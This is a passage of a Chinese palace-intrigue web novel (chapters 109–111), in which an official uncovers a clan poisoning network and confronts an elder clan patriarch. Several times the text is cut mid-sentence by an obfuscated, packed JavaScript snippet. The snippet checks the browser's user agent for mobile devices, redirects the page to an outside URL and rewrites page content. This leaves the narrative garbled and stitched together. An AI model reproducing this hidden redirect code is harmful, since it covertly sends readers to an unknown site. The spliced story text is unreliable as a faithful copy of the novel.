她再一微笑,顺着移到年前病逝的荣妃的话头不觉突兀地问:“方才我见着了余美人宫里的公公,余美人身子可也有碍?” 长英一愣,但还是笑吟吟地接话:“这我倒不了解,不过多谢十姐姐提醒,妹妹久不在宫中倒是疏于关照长辈们的安康……” 沈明枳也很疏于对长辈们的关照,最近一脑门的官司更是对同辈的关照也少了。譬如在庄子上快被磨得一点气性也无的辛莘,整个人的精神状态都十分堪忧。 她帮自己打掩护的没几天后,申不极忽然到访,私自出京的事情就此败露,申不极还特意写了一封急信告知郇寰,这让辛莘一度处于极度恐慌之中,食不下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因为她知道长英了解自己和柳曦既的事情,所以长英所说的‘送’在她眼里就有暗示挑衅的意味,若顺势回答“柳大人又不是你姐姐我的,姐姐如何送你”就中计了。正常在她还不了解长英、且对柳曦既别无其他想法感情的情况之下,她应当如同思考赠送物品一样思考如何将柳曦既争取到手、然后再包装成贺礼送给长英,而不是思考柳曦既属不属于自己这个问题。 长英眨眨眼。 沈明枳语重心长:“长英,这个怕是不成,你得向父皇提。” 长英再眨眨眼。 “再说,柳大人——是有血有肉的一个人,有自己的性子打算,如何能像物件一样送来送去,这岂不是折辱他文人士子的尊严?” 长英再度眨眼。 沈明枳瞥了一眼她,就是希望落空后失落的模样,和郇八娘展现出来的小女儿情态一模一样。沈明枳只能叹息,明知道这个小丫头不怀好意,但伸手难打笑脸人,打心底说她着实看不得这样惹人怜爱的姑娘落泪,思忖片刻,念及长英此番作为的动机,忽然又没法心疼她了。 “那这样吧——” 长英垂下的头倏尔抬起。 “我记得去岁有回吃醉了,你发酒疯要缠着柳大人给你贺生辰——” 长英的眼睛一点点地又亮了起来,两颊有淡淡羞红,一点点地将沈明枳心里仅存的怜惜都敲碎,“你直接下帖子请他怕是不成,柳大人兢兢业业恐抽不出时间。我便替你到父皇面前说上一说,父皇的面子他总会给的。” 柳曦既不仅会给圣上这个面子给你贺生辰,还会进入你遴选驸马的名录。毕竟当年她沈明枳就是这么做的,让根本不在兖国公主驸马考虑名单之上的郇寰杀入了重围。 长英的眼睛再度亮了,不知是她演得太真还是少女本就娇羞,她整颗脑袋都红透了。 109. 第一百零九章 法外地 沈明枳的心情糟糕至极,黑着脸自朝阳门出宫,就见戒子坐在高头大马上,正冲着自己笑。 “阿姐心情不佳?”沈明戒下马扶她上车,扔了马鞭自己也钻到了车厢里。 沈明枳避而不答:“怎么了?余回春找到了?” “对,找到了,他躲得很隐蔽,但这不是正月末了么,他还要给鲁纯学换二月的新药,一出门就被我的人抓到了。” 沈明枳捧过回温的手炉,“我只是再找他问几句话,不会耽搁他给鲁公子换药。” 沈明戒连忙附和:“我也绝对没有对他动粗,阿姐放心。” 沈明枳无奈轻笑一声,“你两次都借了鲁公子的势,当真不会妨碍什么么?” 沈明戒知道这是担心自己借余回春的医者仁心反而诓骗了他老人家两回,恐怕会让余回春心生怨怼,妨碍到鲁纯学的医治,连忙解释道:“阿姐放心,我特意去信问过纯学,他说不打紧,余圣手脾气最为宽和,且不拘派别势力,阿姐又是为了医术相关的事情多劳他老人家,他不会真生气也不会迁怒的。” 沈明枳眉梢一动:“不拘派别势力?” “是啊,余圣手并不是汲汲于利禄的庸医,只不过有些时候不得不为了家族做些事情,但阿姐大可放心,既是纯学所荐,不论两位兄长的关系如何,阿姐请他看诊之事断然不会泄露出去成为把柄。” 沈明枳仍笑问道:“鲁家公子竟然有这样大的面子?” 沈明戒轻笑上两声,“纯学的面子大不大我不知道,但余圣手的仁爱之心由此可鉴。” “他这是什么病症?” 沈明戒压低了嗓音,“中毒。” 沈明枳眼睛微睁,“不是从娘胎里带来的病么?” “是啊,鲁夫人年轻时中毒,给他留下的病根。”沈明戒一边回忆一边道,忽然眼神亮了亮,“哦对了,纯学说他母亲曾经是东宫的宫女,放出宫后嫁的他父亲。” 沈明枳呼吸一窒,不自知地抓住了戒子的手逼问:“鲁夫人是何时中毒?” 沈明戒一愣,强忍着身上的异样僵硬摇头:“这……这不知道,或许余圣手知道。”话落,他明显地看见沈明枳眼神中说不尽的失落,呼吸都不自主地急促上了几分。 末了,沈明枳默默收回手,想说上几句话缓和下被她莫名搅合得奇怪的气氛,但看见沈明戒也莫名失落地倚靠上车厢,目光从车窗沿溜出了这封闭狭小的空间,曲起一条腿侧身隐入阴沉不见光的黑影,只允许这乍亮的车外景光在他逐渐清晰的五官上稍作停留。 沈明枳清晰地感受到,她的戒子已经长大了,与他相比自己有时候才更像一个情绪容易失控的孩子。 “冬至小哥,这大夫进进出出,可是郇侯病情加重了?” 冬至亲自送过一位大夫,朝前来探病的王启丰拜礼:“王推官安,唉,主子这些天头疼得厉害,吃了很多药都不管用,这零州府里的神医都看遍了也不见好,这让我们如何回京与公主殿下交代啊!” 王启丰眉毛紧皱,眉间刀刻斧凿似地出现了一个大大的川字,脸上无有一块肌肉不在替主人卖力地表示担忧,“竟这样严重?” 冬至灰心地叹道:“可不是,主子每天还坚持办公,案子就快要结了,马上就要动身回京了,可主子这状况,让我们真是担心万一路上出了什么好歹……” 王启丰神情纠结,引得冬至奇怪:“王推官,怎么了?您今日前来可有什么要事?” 王启丰拉过冬至小声道:“今日下官就是来看看郇侯的,若您真为大夫发愁,下官倒听说过有一人,医术不错,只是……” 冬至眼睛都亮了:“您快说,只是什么?有何不妥吗?” 王启丰欲言又止,最后被冬至催得厉害,才犹疑地开口:“这人不是寻常的大夫,是西南来的巫医。” “巫医?跳大神的?” 王启丰艰难地点头。 “这……”冬至露出为难神色,转而朝热心肠的王启丰谢了起来,引着人往内院走。 “西南来的?”郇寰琢磨着,直起身来,方才与王启丰谈笑后留下的轻松一扫而空。 冬至给他温药,扇着蒲扇看着小炉子,倒没在乎郇寰这奇怪的注意,反是嘀咕了起来:“主子,您这装病装得也太过了吧,旁人居然连巫医都推荐了过来……” 郇寰靠回隐囊,心里也觉得自己装病示弱,可能真的过火了。他没有这种经验,上手也不知轻重。可这次他就是觉得,自己的这番作为,还有连他自己也一时半会辨不出的理由。 片刻,他打定了主意:“就按王启丰所说,你亲自去看看。” “啊?” 郇寰扯了扯嘴角:“那不如你来处理这些积年旧案?” 冬至抬头望向帘幕后在书桌上堆得小山似的案卷,认栽。 自打郇寰和熊家鼐达成一致后,冬至也不知熊家鼐说了什么,郇寰居然让他借着查案的名义,低调地去刑案库里调出了不少案卷,有很多都是十几年、几十年前的陈年旧事了,将案卷做贼似地抱回来时,满屋子都是经年挥散不去的腐朽味。 不仅如此,郇寰让他出去延医请药,实则是为了四处打听消息设的幌子。可他不明白,郇寰是管刑狱的,怎么让他去打听什么商屯、矿冶之类的庶务。 等冬至回来时,天已大暗,郇寰还靠在床头看着案卷,手上正翻着一桩银矿承办引发的血案。 “主子,您怎么还在看这些东西?” 郇寰合了案卷,揉了揉太阳穴,“怎么样?” 冬至给自己倒了一碗热茶,灌下去杀灭了凉气方才说道:“没什么特别的,我向那巫医讨了方子,平平无奇的,已经让人煎上了。” 郇寰的嘴角抽了抽,冬至连忙道:“真的没什么特别的,就是那巫医邪性得很,看着很爱装神弄鬼,我偷偷往他炼药的屋子里走了走,锅里不知道炖的都是什么腌臜玩意,味道极其难闻……不过,既然主子您不放心,我留了两个亲卫在附近盯着,绝对不会暴露行迹的。” 郇寰长长吐气:“你还记得姜家那个案子吗?” 冬至正又要给自己倒茶,闻言应声:“记得,怎么可能不记得。” “苏世杰说他的毒药是从一个西南游商那里买的,认得毒药的人也都是西南、岭南的,而这个巫医也是西南来的,西南真是个‘好地方’啊——” “主子,您是在怀疑什么吗?” 郇寰笑了,将手头的案卷往床沿一摊,“我不想怀疑,也不得不怀疑。” 冬至瞧着他脸上的冷笑,放下茶碗起身走了过去,就着灯光看见已经烂得不成样子的案卷上,写着潦草的“案结”二字,随手再翻几页,都是一样的“案结”,待他仔细看过死因,居然没一件是正经的凶杀案,要么是死者坠井,要么是突发恶疾,要么是和周舱一样死在女人床上。 冬至指着这一案上的死因,不由得吃惊:“这人居然是喝酒喝死的?” 联想起郇寰那夜遇刺的状况,冬至背脊生凉,再在看清了牵扯案中的双方,那天摆宴的孙家子侄名姓赫然在列。 冬至猛然抬头,对上郇寰似结了霜花的眸子,逐渐陷入了深深恐惧之中。 郇寰出神,似从虚空之中得见这样太平繁华的零州治下的腌臜血腥,“这几个案子看上去毫无关联,实际上每个案子里的死因都十分含糊——”郇寰再翻了翻,指着另一案道:“然而翻到了这里,往后的每个案子都中规中矩——”他再翻,直翻到这一册编在一起的案卷都快结束了,方才指着卷上墨迹道:“这里,又都是死因不明了。” 他将整本案卷都合了起来,抽出另一本,如是地翻上几页,对冬至道:“我问过熊家鼐,他也是听王启丰说才知道的,刑案库曾遭了一场大火,这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可是郇寰垂眼看向他,眼里居然没有阴骘、痛恨,却是说不出的伤楚,“冬至,你说,这么多人做了这么多事,都打着‘为了他好’的旗号,赵王知道这些事吗。” 他并不在问自己,他只是需要一个人陪他说几句话,用他少年时代就不会相信的谎话开解他。冬至是从小陪他长大的人,去岭南、回兰陵、下信州,哪里不是他陪着的,他必然知道郇寰所求。果然,冬至道:“这些事,藏得这样深,主子您是亲自来才知道的,赵王殿下如何知道?” 郇寰扯了唇角。 “你累了一天,去休息吧。” 看着郇寰藏不住的疲惫,冬至坚持道:“我在外间陪您。” 郇寰摆手:“他们不敢动我的。” “上了桌的赌徒,管对面是玉皇大帝还是酆都阎罗,他们谁也不认的。” 郇寰坚持地摇头。 冬至不信,只是默默退出了里间,仍按自己的想法守在了外间,还没收拾好冷硬的床褥,就听自己派出去监视巫医的亲卫递回了消息,也顾不得郇寰有没有睡着,连忙冲入了里间:“主子!那巫医给王家送信去了!” 郇寰正平躺在床上出神,猛然被这样意外的消息断了思绪,连忙从床上坐起,一时之间居然忘了自己有伤在身,扯到了伤口也顾不得疼痛,目光深沉,“果然有问题——” 冬至为他披上氅衣后,按照他的吩咐,将已经放到书桌上的几叠厚厚的案卷又给他搬了过来,点了灯,看他披衣坐起飞速地翻着纸页。 “三姓通婚,实如一家。”郇寰看遍了案卷,发现涉事的大多是孙家人,少有姓王、姓寇的大户,而所涉刑案却息息相关。这就仿佛,孙家替王、寇两家站在台前,而王、寇两家才是真正的幕后操手。 他这次南下,为严中立处理的就是孙、王两家在井盐商屯上闹的人命。 110. 第一百一十章 三姓网 零州盐井丰富,多为大户卖地所挟。每年户部都会专门给零州府签发一定限额的盐引,而西北战事连绵,朝廷急需用兵用钱,户部便按照圣上的旨意,格外制定了规矩,让这些盐引只能轮流分发给零州当地次一级的小商户,逼得顶级的大豪族只能走商屯,去西北、东北为朝廷送粮开垦。 盐田两均,平衡地方豪族实力,还解决了西北军备开销,对于朝廷这是一举三得的好事,但这无异于是要断了诸如孙家、王家、寇家这样的豪族的财路。在政令推行的前几年里,反响极好,可随着西北战事逐渐平息,朝廷对零州盐引的关注逐渐下降,这就方便了以三家上下运作,把控了零州府衙之后,明面上还会走一部分的商屯以稳定局面,私下却使了各种不入流的手段,逼得小商户让出盐引,最后公然霸占。 久成定规,时至今日也少有人知朝廷当年的政令具体是什么流程,且盐引之争与庶民无关,便注定不能像漉水爆炸案一样地引起注意;小商户为了生存不得不走商屯,这样一来,商屯总量不变,朝廷自然不会追究。盐商要层层向上状告,便会层层受到阻挠、甚至于断送性命、家破人亡。 这案子,就发生于孙、王两家私逼小商户吴家让出盐引这个环节,孙家联合了王家,一同在商场上针对吴家,逼得吴家破产赔钱,最后雇人要谋杀主事的王家人鱼死网破。结果谋杀不成,吴家满门反而离奇毙命。吴家远亲越级上告,直接将事情捅到了湖广道按察使司,按察使已然给了定论,案子就顺利移交到了刑部走初步的核查。 而案子核查到了严中立这里,却卡了壳。 郇寰起初以为,严中立是对孙、王两家的姻亲寇家敬而远之,而案子里吴家满门之死着实离奇,找不出任何为他人谋害的证据,湖广道按察使便判了吴家杀人未遂,他心中有疑,便将案子压了下来,拖着迟迟不过,最后顺理成章让自己接过去。 他来了零州,得了寇一爵的嘱托,却也是请了仵作重新勘验一遍无误,方才开始正式收尾走流程。杀人如何会杀得毫无痕迹,郇寰不信,尤其是见识过苏霄验尸本领过后。他没带刑部的仵作,也不觉得受过苏霄指点的他们来了,就能验出什么截然相反的结果来,且案子必须得这么判,故而对当地仵作有没有为人收买之事并不关心。 可现在他有点后悔了。 如若杀人于无形的药,就是这个西南巫医的手笔。 他想起了孙先生的那本破烂的医书。 如若这个西南巫医也有类似的医书。 郇寰觉得他周身的血液逐渐沸腾。 熊家鼐是两年前来的零州,而孙培荫与傅世恩都是四年前随周舱一并升的官,他们两个对往事必然更加了解。可傅世恩与三姓有亲,孙培荫就是三姓之一。 零州当地,三姓把持,孙、王两家拼命地、不择手段地搞钱,与赵王母妃所出一脉的寇家给他们打伞,配合得有条不紊。不仅有利益的羁绊,三姓之间还有血缘的牵扯,而他们分工合作,郇寰几乎想不出,除了赵王倒台,如何才能摧毁这样的庞然大物。 郇寰忽然愣了愣。 他本是出于激愤,故而要查一查三姓的底细,现在居然想到了“摧毁”二字。 他是疯了吗? 他为了摧毁三姓,居然想到了毁了赵王! 可就在这静默的瞬息里,郇寰感到了出奇的愤怒。 究竟是谁疯了? 究竟是谁想要毁了赵王? 究竟是谁! “去,去查这个巫医!” 冬至不知郇寰如何愤怒至此,不敢违背他的命令,也不敢在他怒气当头贸然劝慰,只是沉默地退出里间,布置完人手后,踟蹰在门口,张望着正坐在床沿仍兀自生气的郇寰。 夜深了。 冬至耳力极佳,听得见郇寰辗转不眠了一个晚上,直到初晨,他斗胆入里间,才见郇寰堪堪睡了过去。 正月末的的零州下起了雨。说是雨,其实更像是雪,可雪落即化,同雨无异。一开门的寒气,直让人想起自信州返京的那个晚上,那刺骨森寒的池水,那无边的荒凉。 郇寰早能下地走动,为了装病在床上躺了很久。双脚终于落地的头一件事,就是穿戴整齐,亲自拜访那位“医好了头疼”的西南巫医。 “贵客的病本就是无中生有——”她这句话还没说完,冬至的刀已经连着鞘一并架在了她的脖子上。 看出郇寰其实并不想杀她,巫医用留着细长指甲的手指推开了冬至的刀鞘,旋身端起桌上的一盏清茶捧到郇寰眼前,呵呵地笑了起来:“不过,如果贵客执意要谢,那便谢吧。” 郇寰危坐不动,垂了视线扫过那盏茶,扬唇不言,也不动手接茶。冬至也不动,只觉得她的指甲长得恶心,根本不愿沾那茶碗。 巫医不恼,只是自己一口喝干了茶水,将茶碗摆回远处,最后与郇寰对坐,神态微冷:“那贵客今日来访,所为何事?” “你卖药吗?” 巫医眼珠一转,宛转笑了起来:“贵客想要什么药?” 郇寰往椅子背上一躺身:“你能卖什么药?” “贵客能想到的药,我都能卖。” 郇寰挑眉:“法道寺的淫僧所用的迷药呢?” 巫医的眼神变了变,就在“不能”两个字脱口而出时,冬至一手已经捏住了她的咽喉,听的轻微的两声“咔擦”,冬至捏住她双手手腕的另一手里使了点劲,这巫师已经痛得青筋直冒。 郇寰脸上的笑容更盛了几分,可在巫医看来,他漆黑一片的眼中闪着烈火色。唇角微动,眼前这个男人已经将心中十成的把握,尽数张扬了出来,不吝惜让旁人也能见他胸有成竹时的骄傲模样,随后就能用那般美好的嘴唇说出这般毛骨悚然的话:“我再问一遍,能吗?” 巫医终于熬不过这样的疼痛,抽着冷气拼命点头,冬至这才松手,厌弃地掏出袖中手帕,仔细擦拭手指。 “是只有你能,还是大家都能。” 巫医觉得他已经知道了答案,却还要像官衙里的老爷们一样走过场,不敢说谎:“只有我能。” 郇寰应了一声,又问:“那你能卖一种比寻常的壮阳药更猛、能直接要人性命的药吗?” 巫医想到了今晨接到了王家来信,让她注意言辞,可冬至的刀就在眼前,方才的教训还让她疼得抽气,她不敢说谎:“能。” “买的人多吗?” “不多。” “谁买了?” 巫医戒惧地笑:“如果说了,我以后如何做生意?” 郇寰不说话,冬至抱着刀鞘冷笑道:“你若不说,以后有没有命做生意还是个未知数。” 巫医咬牙,“三姓孙家。” 郇寰看着她脸上细微的表情,换了个问法:“孙家问你买过什么药?” 巫医死死瞪着郇寰,嗤笑道:“那可多了去了。” 冬至冷呵她:“回答问题!” 巫医一哆嗦,但还是一句话:“多得我都记不清了——” “总有你记得清的。” 巫医咬唇,盯着郇寰、瞥着冬至,心里越发着急。三姓供她,她为之制毒、为之研究西南买来的毒,如若今日她敢交代半个字,不死在这人刀下,就会死在三姓手中。 看她的反应,郇寰心中已经了然。大抵发生在零州府的离奇命案,其中都有她的手笔,孙家、王家,抑或是他们背后的寇家,以这个巫医为丝,亲手织成了一张硕大的毒网,遍布零州的每一个角落,而三姓本身也尽在网中。 巫医不答,郇寰也不逼她,换了个问题:“你是西南哪里人?” 巫医警惕地瞟了一眼冬至手中的刀,小心回答时不妨下意识地挺起了胸脯,似有骄傲状:“西越道彩云县。” “哪儿很多巫医吧。” “是。” “师从何人?” 巫医眼珠子一转,惊恐起来,却又被冬至捏住了下颌,整个人被从椅子上拎起来了几寸,等她挣扎过一阵,冬至才又将人摔在了地上,巫医这才老实地捂着脖子,匍匐在地大口喘气虚弱地回答:“神女庙巽山道人。” 郇寰轻轻叩着桌面,“哪个训?” 巫医眼眶盈泪地吼道:“八卦之一!” 郇寰收手,起身掸掸袖上不存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他已经很多年没有听到有人这么说他了。想来上回被这样惨痛的现实冲击得久久回不过神来,还是他刚入仕时,在岭南的岁月。天遥地久,久到郇寰快要忘记,究竟是什么东西让自己当年坚定地入了刑部,一干刑狱就是这么多年。 他忽然想起了沈明枳所说的“几乎”二字,他几乎是个君子,几乎是个好人,几乎是个好官。 可他不是。 为了权力,为了仕途,为了赵王能顺利登基,他干过的事情,让他几乎难以称得上是个“人”。可再想想,如果他郇海山都无法称之为“人”,那三姓之家呢,他们便是禽兽也糟践了禽兽本身。 可这又如何呢? 他郇海山依旧是个败类啊。 在想要摧毁这个罗刹鬼蜮的同时,自觉胆大、自觉僭越、自觉困惑时,他就是个败类。 那年胡全德问他,他少年得志,袭爵尚主、官拜三品,在化隆城里呼风唤雨,可他难道就从未遇见过‘无可奈何’‘情非得已’之事吗? 彼时他在想,常人爬得再高,总越不过天去,所以要顺应四时、祭祀天神。是谓雷霆雨露,俱是天恩。可雨大了,淹了堤岸死了人,这就不是天恩。 他觉得厌烦,觉得可笑,觉得胡全德将大家心照不宣的事情公之于众,毁了自己眼前心中这副鲲鹏展翅的一片宏图,简直愚蠢至极、简直罪不可恕。他承认自己的虚伪,与掩目捕雀、掩耳盗铃之徒没有区别,但他不认为这是什么大罪。 可现在,这简直就是人面兽心丧心病狂助纣为虐伤天害理怀诈暴憎的大罪! 可他还要,明知故犯。 郇寰无奈开口:“把那个捉到的活口处理了吧。” 冬至不甘地应下,随后又艰难道:“主子,寇家来信了,邀您晚上前去小酌。” 郇寰闭眼,长长叹出这口气,觉得伤口处隐隐作痛。 “三姓之酒,我喝不起。” 冬至叹气:“您若不去,他们就来。” 郇寰睁眼,凝视着虚空良久,“把王启丰叫过来。” 111. 第一百一十一章 这杯酒 “王推官是零州当地人士?” 王启丰恭敬拜道:“非也,我虽姓王,却高攀不上三姓之王,是江南道梅州府人。” “梅州?好地方啊。”郇寰遮在绛紫袖中的手指碾着指腹,悠悠接话时不由得想起了梅如故那一家子姓梅的儒生。 王启丰笑着应是,又听郇寰问他:“王推官在任上几年了?” “四年。” 郇寰点点头:“是和孙同知、傅通判一并到的任上?” 王启丰笑着答话:“算是。” 郇寰心中了然,却还不打算切入正题,“我听说前任周知府留下过几幅画?” “周知府的堂亲周侍郎,两年前来时顺便带走了,给亲人当个念想。” “周知府其人如何?” 王启丰仔细想了想:“其性端正,坚毅不拔,爱民如子,就是……” 郇寰看着他那个“你懂的”的眼神,说出来的话中温度又降了几分,“今日我出门在外,遇见不少百姓诉苦,说是三姓蛮横,践踏法度,王推官可听说了?” 王启丰慌乱地下跪叩首:“是下官的失职,请大人责罚。” 郇寰看着他的后脑勺出神,等王启丰跪得腰酸背痛了,正奇怪地抬头偷瞟过来,郇寰这才留下一句“你的确失职”,随后就起身阔步而出。 夫圣人者,不凝滞于物,而能与世推移。举世混浊,何不随其流而扬其波?众人皆醉,何不餔其糟而啜其醨?何故怀瑾握瑜,而自令见放为? 郇寰忽然想起了这段话,屈子未曾被其劝好,最终还是怀石投汨罗而死,王启丰却被劝住了。他是四年前跟着周舱上的推官任,专掌理刑名、赞计典。 他藏得很小心。 周舱之死顶多算个事故,如何会被录入刑案房的案卷;孙家之席,他酒醉过后,将熊家鼐亡妻与周舱之死一并吐出;熊家鼐得到的所有与刑案房失火有关的消息,全都源自于他;西南巫医是他推荐,更兼那些百姓是如何知道他郇寰一个外人的身份,如何会被唆使到他面前诉苦。 不怪郇寰多想,这桩桩件件,推动着他一步步查下去的转折,都是这个王启丰有心无意的手笔。 可郇寰是坚定的赵王党,满零州上下没有几个官是不知道的,王启丰费尽心思促成自己步步追究的局面,所求为何?他根本不可能替死得身败名裂的周舱讨回公道,他也不可能致力于改换零州的天地、维护公理正义,还有可能在审时度势、权衡利弊之后将他王启丰这个危险因素挖出来,送到三姓手中。 这真的不是一个明智的选择。 零州此地的寇氏当家人叫寇敏中,算起来,与化隆那一支的寇德中,还是堂兄弟。寇德中看不上、看不中沈明枳,他的堂亲寇敏中看不上、看不中他郇海山,绝配了。 寇敏中心里瞧不起他这个年纪轻轻就身居高位的,但该给的面子、周道一分不少,也没有请闲杂人等,只有他们两个对坐,就如冬至所说,他这个上了年纪的老头子要和他郇海山,小酌一杯。 在这个姓寇的老头面前,郇寰也得端足了小辈的礼,绝对比对待化隆寇德中还要恭敬,他客客气气叫了一声“寇老”,言行举止揪不出一丝错处。 照理说,就算没有旁人在场,寇德中尚且要起身受他的礼,寇敏中却坐在位子上一动不动,兀自煎茶,似是全然没有听见、没有看见一般,得了侍奉一旁的长孙的提醒后,方才装着耳聋眼瞎,惊讶地比了个“请”的手势。 郇寰结结实实地吃了他的下马威,倒也不觉生气。端坐过后,方才见临风廊下,庭中月白沙清,梅影伎斜,案旁红炉煨酒,翠竹盆栽,是一片闲逸雅致,倒是铺张地烧满地龙的堂屋之内,灯熄火灭,冬至与寇家儿孙侍立不动,没入夜中。 夜里风大,但郇寰坐在廊下,却热得冒汗。 他忽忆起自己从孙家席面出来时的自我挖苦,他在化隆连个火盆都点得节省,零州已算南地,却将地龙烧得这样热乎。 “郇侯何日返京?” 谢过了寇敏中推来的酒前茶,郇寰笑道:“快了。” 寇敏中咂了一口自己煮出来的茶,呵呵地朝他笑:“二月里的头一顿饭,得在家里吃才算团圆。” 这是逐客令。 但郇寰捧他的场,应声点头。 “我闻郇侯勤业,在病床上还要处理公务,真是该让我家的小辈都瞧瞧,向您学习,这样才能节节高升。” 郇寰不喜欢他这种不阴不阳的调调,但还是得装出谦逊,将那些说烂了的软话翻来覆去地说。这让寇敏中犹如一拳打在了棉花里,顺不了气,倒也有点摸不准郇寰真正的脾气,可他觉得自己是半辈子都风雨里过下来的人,拿捏一个年轻得志、自负骄傲的世家子又有何难,便也不再与之客气,开门见山:“郇侯在零州公干,可有招待不周之处?” “零州上下,对晚辈自然是竭力照顾,无有不周。” 寇敏中笑道:“既然如此,饮水思源,郇侯就不要再折腾了吧。” 图穷匕见。 郇寰扬唇,减去了三分客气,增添了三分讥嘲:“寇老您这话说的,晚辈怎么就听不懂了呢?” 寇敏中措辞尖锐,话却说得抑扬顿挫,跟念诗似的:“怎么听不懂?明修栈道,暗度陈仓,多么聪明的一个人啊,怎么可能听不懂?怕不是听懂了却还在装糊涂吧。” 闻言,郇寰轻笑两声:“寇老,您这话说的,真是一分情面也不想讲了。” 寇敏中给自己的杯里添茶,“跟能讲情面的人讲情面,怎么,郇侯在化隆不是有铁面阎罗的美名吗,阎罗殿上也能讲情面吗?” 郇寰端起杯来轻抿了一口,将被他拨起来的三分火气压了压,主动认输,缄口不言,就怕自己修为尚浅,最后真的被他激得做出什么有损赵王利益的事情。 寇敏中却不领他的情,“郇侯还年轻,年轻人,还是贪玩的,法道寺一事就算是送给郇侯解闷的乐子,乐够了就行了,其他的事,还是不要掺和了。” “其他的事?看来零州此地有不少事啊。” 寇敏中冷笑道:“是啊,都是年轻人掺和不了的事。” 郇寰挑眉。 寇敏中继续笑:“等郇侯到了我这个年纪,就明白了,现在的自己,就是在蚍蜉撼大树、蹇人想上天,就是这么可笑。” 郇寰的语调也冷了下来:“确实可笑,清风高调,对牛弹琴,我自不是什么爱多管闲事的人,只是,三姓行事,未免过分。” 寇敏中似是听了什么天大的笑话,不由得大笑起来:“过分?何为‘分’?”他大笑得差不多了,方才一抹脸,皮笑肉不笑地用指关节敲了敲桌案,两双老皮之中突兀出来的眼睛,被桌旁炉火映得幽幽发亮:“看在赵王的面子上,我与你多说一句——” 寇敏中戟手直天,眼睛却盯着郇寰的脸,一字一句地讲,字字句句都戳在了他的心上,“少年得志实如你这般年轻的人,大都会有这样的毛病:不论年岁几何,有时都会天真地以为,是非对错、黑白善恶,都如昼夜般分明规整。” 他笑着摇头:“其实不是,孰错孰对,真的有定数吗?世俗意义上的对错就是‘对’与‘错’吗?你们年纪轻轻就得益于这样烂俗笼统的是非对错观念,自然是打心底地维护,不然你们自己就会成为最大的笑话。为了不让自己沦为笑柄,你们也会拼了命地去维护,我说得对吗?” “你觉得三姓所为,太过过分,但我们真的过分吗?贫富贵贱,也非天赐,千百年前,寇家、孙家、王家,和现在的那些泥点子没有两样,可后来有了五姓七家,现在有了我们三姓,所谓何故?我们的钱,也是一点点赚来的,我们的体面,也是一代代赚来的,赚钱的渠道就在那里,他们不走、懒得走、不敢走,所以活该他们贫、弱、贱,我们富、强、贵,这有什么好怨的?人不为己,天诛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292474|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地灭,天地不顾,人道相佐,所以诸如周舱之流,妄想行天之道,损有余而补不足,有逆人伦,活该他死得狼狈啊。” “又试问何人无私?所求不过钱、权、名,常人之心也,千万万人之心也,周舱所求亦不过其三,无心之人方得无私,而无心之人,只有死人。何人得势,故而何人说话,故而天下之人听何人说话,世俗的是非对错,对当权者最为有利,故而普天下之,食君之禄,忠君之事,无人不以此为道德典范,这就是你现在所持的对错是非。” “但你也不是一般人,襄阳郇,军功起家,爵位在身,你不是普通人,可你常用普通人所困的是非对错来挟持自己,让你自己走得瞻前顾后,一点也不够干脆。你不该是那些一辈子蝇营狗苟的微末贱民,你也不该用这样的规矩束缚自己拳脚,你不该让自己的前途为了这些虚伪的规矩服务。黑白对错,尽于掌中,临风御极,规矩自生,这些东西,全该为你的目的服务,怎能本末倒置?” 寇敏中见郇寰似是听得认真,似是听了进去,略感宽慰,脸色也松快了不少:“你本非常人,只是缺一个人来教你,而今我教你了,你听懂了吗?” 见郇寰还是愣愣的,冷脸坐在原地一动不动,寇敏中斟酒,将酒杯轻轻推到了他的眼前,话中锐利钝去,但步步紧逼从不给人一丝机会喘息:“所以你还觉得我们过分吗?你还想掺和那些烂事吗?你还想不想平安回到化隆陪伴你的公主媳妇?” 最后,今夜所有的针锋相对,都落在了这杯酒上,寇敏中往椅背上一靠,话却嘹亮刺耳:“所以这杯酒,你是喝,还是不喝!” 一瞬。 两瞬。 三瞬。 郇寰的眼睛里重现光彩,骨节分明的手、批过多少人命的手、又埋过多少真相的手,悠悠从袖子里伸了出来,松松端起已经被这初春雨意浸得发凉的酒杯,指尖微倾,杯酒尽泄,落于廊下白沙,再不复见。 郇寰的目光从寇敏中逐渐气得涨红的脸上,流转到自己手中托住了杯子。白瓷无暇,莹润有光,是顶好的东西,只可惜所托非人。 “我若按你所说,役规矩法度于我一欲,那你已经是个死人了——”郇寰终究没有忍心将这只酒杯砸碎,将其放于桌上时却使了点力,让整张桌案都随此杯的降落而轻轻撼动。杯盏及案,郇寰这才扯开手,森森寒继续道:“由此可见,欲之蛮长,毁天灭地,必须由规矩法度约束,方才能善尽其善,恶止其恶,善恶有度,是非自明,规矩自生,尘宇自定。” 